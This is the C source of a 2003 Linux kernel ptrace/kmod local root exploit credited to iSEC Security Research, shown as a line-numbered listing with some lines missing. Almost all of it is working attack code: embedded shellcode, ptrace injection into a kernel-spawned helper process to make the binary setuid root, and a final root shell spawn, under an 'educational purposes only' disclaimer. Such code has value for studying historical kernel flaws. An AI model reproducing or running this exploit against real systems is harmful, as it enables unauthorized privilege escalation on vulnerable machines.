2 * Linux kernel ptrace/kmod local root exploit
6 * Should work under all current 2.2.x and 2.4.x kernels.
8 * I discovered this stupid bug independently on January 25, 2003, that
9 * is (almost) two month before it was fixed and published by Red Hat
12 * Wojciech Purczynski <cliph@isec.pl>
14 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
15 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
17 * (c) 2003 Copyright by iSEC Security Research
31 #include <sys/param.h>
32 #include <sys/types.h>
33 #include <sys/ptrace.h>
34 #include <sys/socket.h>
35 #include <linux/user.h>
38 "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
39 "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
40 "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
41 "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
42 "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
44 #define CODE_SIZE (sizeof(cliphcode) - 1)
49 volatile int gotchild = 0;
51 void fatal(char * msg)
54 kill(parent, SIGKILL);
56 kill(victim, SIGKILL);
59 void putcode(unsigned long * dst)
61 char buf[MAXPATHLEN + CODE_SIZE];
65 memcpy(buf, cliphcode, CODE_SIZE);
66 len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
68 fatal("[-] Unable to read /proc/self/exe");
73 src = (unsigned long*) buf;
74 for (i = 0; i < len; i += 4)
75 if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
76 fatal("[-] Unable to write shellcode");
79 void sigchld(int signo)
81 struct user_regs_struct regs;
86 fprintf(stderr, "[+] Signal caught\n");
88 if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
89 fatal("[-] Unable to read registers");
91 fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
93 putcode((unsigned long *)regs.eip);
95 fprintf(stderr, "[+] Now wait for suid shell...\n");
97 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
98 fatal("[-] Unable to detach from victim");
103 void sigalrm(int signo)
106 fatal("[-] Fatal error");
116 signal(SIGCHLD, sigchld);
119 err = ptrace(PTRACE_ATTACH, victim, 0, 0);
120 while (err == -1 && errno == ESRCH);
123 fatal("[-] Unable to attach");
125 fprintf(stderr, "[+] Attached to %d\n", victim);
127 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
128 fatal("[-] Unable to setup syscall trace");
129 fprintf(stderr, "[+] Waiting for signal\n");
134 void do_parent(char * progname)
139 socket(AF_SECURITY, SOCK_STREAM, 1);
141 err = stat(progname, &st);
142 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
145 fatal("[-] Unable to stat myself");
153 if (geteuid() == 0) {
154 initgroups("root", 0);
157 execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
158 fatal("[-] Unable to spawn shell");
162 int main(int argc, char ** argv)
165 signal(SIGALRM, sigalrm);
173 fatal("[-] Unable to fork");